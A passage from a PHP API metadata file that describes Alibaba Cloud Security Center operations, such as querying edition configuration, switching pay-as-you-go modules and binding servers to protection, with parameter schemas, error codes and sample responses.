'Indicates whether the pay-as-you-go billing method is used. Valid values:'."\n" ."\n" .'* **false**'."\n" .'* **true**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'PostPayInstanceId' => [ 'description' => 'The instance ID of Security Center that uses the pay-as-you-go billing method.'."\n", 'type' => 'string', 'example' => 'postpay-sas-**', ], 'PostPayModuleSwitch' => [ 'description' => 'The configuration of the pay-as-you-go module. Valid values:'."\n" ."\n" .'* **VUL**: vulnerability fixing module'."\n", 'type' => 'string', 'example' => '{"VUL":1}', ], 'PostPayStatus' => [ 'description' => 'The status of Security Center that uses the pay-as-you-go billing method. Valid values:'."\n" ."\n" .'* **1**: The instance runs as expected.'."\n" .'* **2**: The instance is stopped due to overdue payments.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PostPayOpenTime' => [ 'description' => 'The creation time of Security Center that uses the pay-as-you-go billing method.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1698915219000', ], 'SdkCapacity' => [ 'description' => 'The purchased quota for malicious file detection SDK. Unit: process/month.', 'type' => 'integer', 'format' => 'int64', 'example' => '100', ], 'AntiRansomwareCapacity' => [ 'description' => '防勒索备份容量，单位GB。', 'type' => 'integer', 'format' => 'int32', 'example' => '160', ], 'NewThreatAnalysis' => [ 'description' => 'Indicates whether the new version of the threat analysis and response feature is enabled. With the new version, you can purchase the amount of log data that you want to add to the feature and log storage capacity. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ThreatAnalysisFlow' => [ 'description' => 'The amount of log data that you purchase for the threat analysis and response feature. Unit: GB-day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'MergedVersion' => [ 'description' => 'When both the annual/monthly and pay-as-you-go services of Cloud Security Center\'s host and container security are activated, the higher protection version among the two is selected. Values: - **1**: Free Edition - **6**: Anti-Virus Edition - **5**: Advanced Edition - **3**: Enterprise Edition - **7**: Ultimate Edition', 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'PostPayHostVersion' => [ 'description' => 'When activating the pay-as-you-go service for host and container security, this represents the highest protection version for the already bound assets. The values are as follows: - **1**: Free Edition - **3**: Enterprise Edition - **5**: Advanced Edition - **6**: Anti-Virus Edition - **7**: Flagship Edition', 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'AntiRansomwareService' => [ 'description' => 'Switch of anti-ransomware hosting service. Valid values:'."\n" ."\n" .'* **0**: off'."\n" .'* **1**: on', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'MultiVersion' => [ 'description' => 'Usage of multiple version numbers and license counts', 'type' => 'string', 'example' => 'null', ], 'CanTryPostPaidPackage' => [ 'description' => 'Whether it supports the activation of a postpaid trial package. Values:'."\n" .' - **0**: Not supported '."\n" .'- **1**: Supported', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'InstanceBuyType' => [ 'description' => 'Instance purchase type. Values: - **0**: Self-purchased - **1**: Multi-account allocation', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'OnboardedAssets' => [ 'title' => 'AI数字人纳管实例', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'IntelligentAnalysisFlow' => [ 'title' => 'AI数字人分析流量', 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"MVAuthCount\\": 5000,\\n \\"SasLog\\": 1,\\n \\"SasScreen\\": 0,\\n \\"HoneypotCapacity\\": 20,\\n \\"MVUnusedAuthCount\\": 40,\\n \\"WebLock\\": 0,\\n \\"AppWhiteListAuthCount\\": 20,\\n \\"RequestId\\": \\"C2DC96D2-DD2E-49D9-A28E-85590475DF55\\",\\n \\"LastTrailEndTime\\": 1603934844000,\\n \\"Version\\": 3,\\n \\"WebLockAuthCount\\": 0,\\n \\"ReleaseTime\\": 1625846400000,\\n \\"HighestVersion\\": 1,\\n \\"AssetLevel\\": 30,\\n \\"IsOverBalance\\": false,\\n \\"InstanceId\\": \\"sas-vg6hafdsafs****\\",\\n \\"SlsCapacity\\": 10240,\\n \\"VmCores\\": 10,\\n \\"AllowPartialBuy\\": 1,\\n \\"AppWhiteList\\": 2,\\n \\"ImageScanCapacity\\": 8954,\\n \\"IsTrialVersion\\": 0,\\n \\"UserDefinedAlarms\\": 0,\\n \\"OpenTime\\": 1657244824669,\\n \\"IsNewContainerVersion\\": true,\\n \\"IsNewMultiVersion\\": true,\\n \\"ThreatAnalysisCapacity\\": 25,\\n \\"CspmCapacity\\": 10,\\n \\"VulFixCapacity\\": 10,\\n \\"RaspCapacity\\": 10,\\n \\"AgentlessCapacity\\": 10,\\n \\"IsPostpay\\": true,\\n \\"PostPayInstanceId\\": \\"postpay-sas-**\\",\\n \\"PostPayModuleSwitch\\": \\"{\\\\\\"VUL\\\\\\":1}\\",\\n \\"PostPayStatus\\": 1,\\n \\"PostPayOpenTime\\": 1698915219000,\\n \\"SdkCapacity\\": 10,\\n \\"AntiRansomwareCapacity\\": 160,\\n \\"NewThreatAnalysis\\": 1,\\n \\"ThreatAnalysisFlow\\": 10,\\n \\"MergedVersion\\": 7,\\n \\"PostPayHostVersion\\": 7,\\n \\"AntiRansomwareService\\": 1,\\n \\"MultiVersion\\": \\"null\\",\\n \\"CanTryPostPaidPackage\\": 1,\\n \\"InstanceBuyType\\": 0,\\n \\"OnboardedAssets\\": 10,\\n \\"IntelligentAnalysisFlow\\": 100\\n}","errorExample":""},{"type":"xml","example":"\\n false\\n C2DC96D2-DD2E-49D9-A28E-85590475DF55\\n 38\\n sas-i49184b5****\\n 20\\n 1603874050000\\n 0\\n true\\n 10240\\n 1\\n 1\\n 1635436800000\\n 3\\n 1\\n 0\\n 5\\n 1140\\n 0\\n 1\\n 1\\n","errorExample":""}]', 'title' => 'DescribeVersionConfig', 'responseParamsDescription' => 'When you call this operation, both the response parameters in the preceding table and the following parameters are returned.'."\n" ."\n" .'* **AvdsFlag**'."\n" .'* **FLag**'."\n" .'* **CreateTime**'."\n" .'* **IsSasOpening**'."\n" .'* **Log**'."\n" .'* **AgentlessCapacity**'."\n" ."\n" .'> The preceding parameters are deprecated. You can ignore the parameters.', 'extraInfo' => ' ', 'translator' => 'machine', ], 'ModifyPostPayModuleSwitch' => [ 'summary' => 'Operate the Postpaid Module Switch', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'paid', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [ [ 'name' => 'PostPayInstanceId', 'in' => 'query', 'allowEmptyValue' => false, 'schema' => [ 'description' => 'Pay-as-you-go instance ID, which must be filled in.'."\n" ."\n" .'> Call the [DescribeVersionConfig](~~DescribeVersionConfig~~) interface to obtain this parameter.', 'type' => 'string', 'required' => false, 'example' => 'postpay-sas-**', ], ], [ 'name' => 'PostPayModuleSwitch', 'in' => 'query', 'schema' => [ 'title' => '后付费模块开关JsonString', 'description' => 'Status of the pay-as-you-go module switch, in JsonString format. Values:'."\n" .'- Key:'."\n" .' - **VUL**: Vulnerability Repair Module'."\n" .' - **CSPM**: Cloud Security Posture Management Module'."\n" .' - **AGENTLESS**: Agentless Detection Module'."\n" .' - **SERVERLESS**: Serverless Security Module'."\n" .' - **CTDR**: Threat Analysis and Response Module'."\n" .' - **POST_HOST**: Host and Container Security Module'."\n" .' - **SDK**: Malicious File Detection SDK Module'."\n" .' - **RASP**: Application Protection Module'."\n" .' - **CTDR_STORAGE**: Log Management Module'."\n" .' - **ANTI_RANSOMWARE**: Anti-Ransomware Management'."\n" .'- Value: 0 means off, 1 means on'."\n" ."\n" .'> The values of modules not passed will not change.'."\n" ."\n" .'The meaning is the same as the PostPayModuleSwitchObj field. When both exist, the value of PostPayModuleSwitch takes precedence.>', 'type' => 'string', 'required' => false, 'example' => '{"VUL":1,"CSPM":0}', ], ], [ 'name' => 'PostPaidHostAutoBind', 'in' => 'query', 'schema' => [ 'title' => '主机和容器防护新增资产时自动绑定开关。取值：'."\n" ."\n" .'- **0**：关闭'."\n" .'- **1**：开启', 'description' => 'Automatic binding switch for new assets in host and container protection. Values:'."\n" ."\n" .'- **0**: Off'."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PostPaidHostAutoBindVersion', 'in' => 'query', 'schema' => [ 'title' => '主机和容器防护新增资产时自动绑定的版本，取值：'."\n" .'- **1**：免费版 '."\n" .'- **3**：企业版'."\n" .'- **5**：高级版'."\n" .'- **6**：防病毒版 '."\n" .'- **7**：旗舰版', 'description' => 'Version for automatic binding of new assets in host and container protection. Values:'."\n" .'- **1**: Free Edition '."\n" .'- **3**: Enterprise Edition'."\n" .'- **5**: Advanced Edition'."\n" .'- **6**: Antivirus Edition '."\n" .'- **7**: Flagship Edition', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '3', ], ], [ 'name' => 'PostPayModuleSwitchObj', 'in' => 'query', 'style' => 'json', 'schema' => [ 'title' => '按量付费模块开关。', 'description' => 'Pay-as-you-go module switch.'."\n" .'> The meaning is the same as the PostPayModuleSwitch field. When both exist, the value of PostPayModuleSwitch takes precedence.>', 'type' => 'object', 'properties' => [ 'Vul' => [ 'title' => '漏洞修复模块。', 'description' => 'Vulnerability Repair Module. Values:'."\n" .'- **0**: Off'."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'Cspm' => [ 'title' => '云安全配置检查模块。', 'description' => 'Cloud Security Configuration Check Module. Values:'."\n" .'- **0**: Off'."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'Agentless' => [ 'title' => '无代理检测模块。', 'description' => 'Agentless Detection Module. Values:'."\n" .'- **0**: Off'."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'Serverless' => [ 'title' => 'Serverless安全模块。', 'description' => 'Serverless Security Module. Values:'."\n" .'- **0**: Off'."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'Ctdr' => [ 'title' => '威胁分析与响应模块。', 'description' => 'Threat Analysis and Response Module. Values:'."\n" .'- **0**: Off'."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'CtdrStorage' => [ 'title' => '日志管理模块。', 'description' => 'Log Management Module. Values:'."\n" .'- **0**: Off'."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'Sdk' => [ 'title' => '恶意文件检测SDK模块。', 'description' => 'Malicious File Detection SDK Module. Values:'."\n" .'- **0**: Off'."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'Rasp' => [ 'title' => '应用防护模块。', 'description' => 'Application Protection Module. Values:'."\n" .'- **0**: Off'."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'PostHost' => [ 'title' => '主机及容器安全模块。', 'description' => 'Host and Container Security Module. Values:'."\n" .'- **0**: Off'."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'WebLock' => [ 'title' => '文件防篡改模块。', 'description' => 'File Tamper Protection Module. Values:'."\n" .'- **0**: Off'."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'AntiRansomware' => [ 'title' => '防勒索模块。', 'description' => 'Anti-Ransomware Module. Values:'."\n" .'- **0**: Off'."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'BasicService' => [ 'title' => '基础服务模块。', 'description' => 'Basic service module. Values:'."\n" .'- **0**: Off'."\n" .'- **1**: On'."\n" ."\n" .'>The basic service module switch does not support active modification. When other modules are on, this module is also on. If all other modules are off, then this module is off.>', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'AiDigital' => [ 'title' => 'AI数字人', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], 'required' => false, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult', 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'The result status of the API call. Values:'."\n" .'- **true**: The API call was successful.'."\n" .'- **false**: The API call failed.', 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'Result code, **200** indicates success. Any other value indicates failure, and the caller can use this field to determine the reason for the failure.', 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The response message from the request.', 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of this call request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => 'ACF97412-FD09-4D1F-994F-34DF12BREF20', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code of the request data result.', 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'PostPayInstanceNotExist', 'errorMessage' => 'post pay instance not exist.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"ACF97412-FD09-4D1F-994F-34DF12BREF20\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'Modify the Status of Pay-As-You-Go Features', 'translator' => 'machine', ], 'UpdatePostPaidBindRel' => [ 'summary' => 'Change Postpaid Asset Authorization Version', 'path' => '', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'paid', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'BindAction', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'Parameters for the binding action.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'UuidList' => [ 'description' => 'List of specified server UUIDs.', 'type' => 'array', 'items' => [ 'description' => 'Specified server UUID.'."\n" .'> You can call the [DescribeCloudCenterInstances ](~~DescribeCloudCenterInstances~~) API to obtain this parameter.', 'type' => 'string', 'required' => false, 'example' => '82e29**f0816da', ], 'required' => false, 'maxItems' => 1000, 'minItems' => 0, ], 'Version' => [ 'description' => 'The Cloud Security Center protection version that needs to be bound. Values: '."\n" .'- **1**: Basic Edition '."\n" .'- **3**: Enterprise Edition'."\n" .'- **5**: Advanced Edition'."\n" .'- **6**: Antivirus Edition '."\n" .'- **7**: Container Edition', 'type' => 'string', 'required' => false, 'example' => '3', ], 'BindAll' => [ 'description' => 'Whether to bind all. Default is **false**. Values:'."\n" ."\n" .'- **true**: Yes'."\n" .'- **false**: No', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'AutoBind', 'in' => 'query', 'schema' => [ 'description' => 'Enable automatic binding for new assets. Values:'."\n" ."\n" .'- **0**: Off'."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'AutoBindVersion', 'in' => 'query', 'schema' => [ 'description' => 'Version to automatically bind when adding new assets. Values:'."\n" .'- **1**: Basic Edition '."\n" .'- **3**: Enterprise Edition'."\n" .'- **5**: Advanced Edition'."\n" .'- **6**: Antivirus Edition '."\n" .'- **7**: Container Edition', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '3', ], ], [ 'name' => 'UpdateIfNecessary', 'in' => 'query', 'schema' => [ 'type' => 'boolean', 'required' => false, 'default' => 'false', 'description' => 'Whether to force upgrade the version.', 'example' => 'false', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of this request, a unique identifier generated by Alibaba Cloud for this request, which can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F', ], 'ResultCode' => [ 'title' => '绑定结果状态码。取值：'."\n" ."\n" .'- **0**：成功'."\n" .'- **1**：参数错误'."\n" .'- **2**：缺少服务器授权数'."\n" .'- **3**：缺少服务器授权核数'."\n" .'- **4**：未开启后付费'."\n" .'- **5**：欠费停机'."\n" .'- **6**：未开启serverless模块'."\n" .'- **7**：未开启后付费主机资产'."\n" .'- **-1**：绑定异常', 'description' => 'Binding result status code. Values:'."\n" ."\n" .'- **0**: Success'."\n" .'- **1**: Parameter error'."\n" .'- **2**: Insufficient server authorization count'."\n" .'- **3**: Insufficient server core authorization'."\n" .'- **4**: Postpaid not enabled'."\n" .'- **5**: Service suspended due to arrears'."\n" .'- **6**: Serverless protection not enabled'."\n" .'- **7**: Pay-as-you-go service for host and container security not enabled'."\n" .'- **-1**: Binding exception', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'BindCount' => [ 'title' => '成功绑定服务器数。', 'description' => 'Number of servers successfully bound', 'type' => 'integer', 'format' => 'int64', 'example' => '2', ], ], ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F\\",\\n \\"ResultCode\\": 0,\\n \\"BindCount\\": 2\\n}","type":"json"}]', 'title' => 'Change Pay-As-You-Go Service Protection Version', 'translator' => 'machine', ], 'BindAuthToMachine' => [ 'summary' => 'Binds servers to Security Center or unbinds servers from Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '91910', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The search conditions that are used to filter servers. The value of this parameter is in the JSON format and is case-sensitive.'."\n" ."\n" .'> A search condition can be an instance ID, instance name, virtual private cloud (VPC) ID, region, or public IP address. You can call the [DescribeCriteria](~~DescribeCriteria~~) operation to query the supported search conditions.'."\n", 'type' => 'string', 'required' => false, 'example' => ' '."\n" .'[{"name":"riskStatus","value":"YES"},{"name":"internetIp","value":"1.2.XX.XX"}]', ], ], [ 'name' => 'LogicalExp', 'in' => 'query', 'schema' => [ 'description' => 'The logical relationship that you want to use to evaluate multiple search conditions. Default value: **OR**. Valid values:'."\n" ."\n" .'* **OR**'."\n" .'* **AND**', 'type' => 'string', 'required' => false, 'example' => 'OR', ], ], [ 'name' => 'BindAll', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to bind all servers to Security Center. Default value: **false**. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'AuthVersion', 'in' => 'query', 'schema' => [ 'description' => 'The edition of Security Center that is authorized to scan the asset. Valid values:'."\n" ."\n" .'* **6**: Anti-virus'."\n" .'* **5**: Advanced'."\n" .'* **3**: Enterprise'."\n" .'* **7**: Ultimate'."\n" .'* **10**: Value-added Plan'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '6', ], ], [ 'name' => 'AutoBind', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to automatically bind servers to Security Center. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'IsPreBind', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to specify servers for protection when you purchase Security Center. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n" ."\n" .'> If you specify servers, the servers are automatically added to Security Center for protection after the purchase order is complete.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PreBindOrderId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the order in which Security Center is purchased and servers are specified for protection.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '233016**0482', ], ], [ 'name' => 'NtmVersion', 'in' => 'query', 'schema' => [ 'description' => 'The edition of Security Center that you purchase in the order. Valid values:'."\n" ."\n" .'* **level7**: Anti-virus'."\n" .'* **level3**: Advanced'."\n" .'* **level2**: Enterprise'."\n" .'* **level8**: Ultimate'."\n" .'* **level10**: Value-added Plan'."\n", 'type' => 'string', 'required' => false, 'example' => 'level2', ], ], [ 'name' => 'Bind', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the servers that you want to bind to Security Center.'."\n" ."\n" .'> You must specify at least one of the **Bind** and **UnBind** parameters.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server that you want to bind to Security Center.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '44f9ee5a-e39d-46bb-833b-5fc2ff47****', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'UnBind', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the servers that you want to unbind from Security Center.'."\n" ."\n" .'> You must specify at least one of the **Bind** and **UnBind** parameters.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server that you want to unbind from Security Center.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '3e3c9d79-2880-465d-9e1b-1bc2af7d****', ], 'required' => false, 'maxItems' => 1000, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'ResultCode' => [ 'description' => 'The status code that indicates the result. Valid values:'."\n" ."\n" .'* **0**: The servers are bound to or unbound from Security Center.'."\n" .'* **1**: The values that you specified for the parameters are invalid.'."\n" .'* **2**: The quota for servers that can be protected is insufficient.'."\n" .'* **3**: The quota for cores of servers that can be protected is insufficient.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '23AD0BD2-8771-5647-819E-6BA51E212F80', ], 'UnBindCount' => [ 'description' => 'The number of unbound servers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'BindCount' => [ 'description' => 'The number of bound servers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'InsufficientEcsCount' => [ 'description' => 'The shortage in the quota for servers that can be protected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'InsufficientCoreCount' => [ 'description' => 'The shortage in the quota for cores of servers that can be protected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'MissingPreBindVersion', 'errorMessage' => 'The pre-bound version is missing.', ], [ 'errorCode' => '-101', 'errorMessage' => 'Invalid parameter value.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ResultCode\\": 2,\\n \\"RequestId\\": \\"23AD0BD2-8771-5647-819E-6BA51E212F80\\",\\n \\"UnBindCount\\": 1,\\n \\"BindCount\\": 1,\\n \\"InsufficientEcsCount\\": 1,\\n \\"InsufficientCoreCount\\": 1\\n}","type":"json"}]', 'title' => 'BindAuthToMachine', ], 'GetModuleConfigStatus' => [ 'summary' => 'Checks whether the purchased Security Center features are enabled and whether related configurations take effect.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas312EAH', ], ], 'parameters' => [ [ 'name' => 'ModuleNames', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The service modules that you want to query.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The name of the check item that you want to query. Valid values:'."\n" ."\n" .'* **Ransom**: The anti-ransomware policy is enabled.'."\n" .'* **WebLock**: The web tamper proofing feature is enabled.'."\n" .'* **Rasp**: Applications are added to the application protection feature.'."\n" .'* **Image**: The container images that can be scanned are specified.'."\n" .'* **Virus**: The periodic virus scan policy is enabled.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Rasp', ], 'required' => true, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'ModuleConfigResults' => [ 'description' => 'The check results of the service modules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The check results of the service module.'."\n", 'type' => 'object', 'properties' => [ 'Pass' => [ 'description' => 'Indicates whether the service module passed the status check. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'enumValueTitles' => [], 'example' => 'true', ], 'ModuleName' => [ 'description' => 'The name of the check item. Valid values:'."\n" ."\n" .'* **Ransom**: The anti-ransomware policy is enabled.'."\n" .'* **WebLock**: The web tamper proofing feature is enabled.'."\n" .'* **Rasp**: Applications are added to the application protection feature.'."\n" .'* **Image**: The container images that can be scanned are specified.'."\n" .'* **Virus**: The periodic virus scan policy is enabled.'."\n", 'type' => 'string', 'example' => 'Ransom', ], ], ], ], ], ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '843E4805-****-7EE12FA8DBFD', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"ModuleConfigResults\\": [\\n {\\n \\"Pass\\": true,\\n \\"ModuleName\\": \\"Ransom\\"\\n }\\n ]\\n },\\n \\"RequestId\\": \\"843E4805-****-7EE12FA8DBFD\\"\\n}","type":"json"}]', 'title' => 'GetModuleConfigStatus', ], 'FinishGuidTask' => [ 'summary' => 'Completes guidance tasks for beginners to earn rewards.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '119460', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'TaskTypeName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the task type.'."\n", 'type' => 'string', 'required' => true, 'example' => 'guide_sub_task_config_add_collection', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '08DCAABC-82E7-5EF5-A9E7-A82DC07C****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"08DCAABC-82E7-5EF5-A9E7-A82DC07C****\\"\\n}","type":"json"}]', 'title' => 'FinishGuidTask', ], 'DescribeVolDingdingMessage' => [ 'summary' => 'Queries the QR code address of a DingTalk group.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 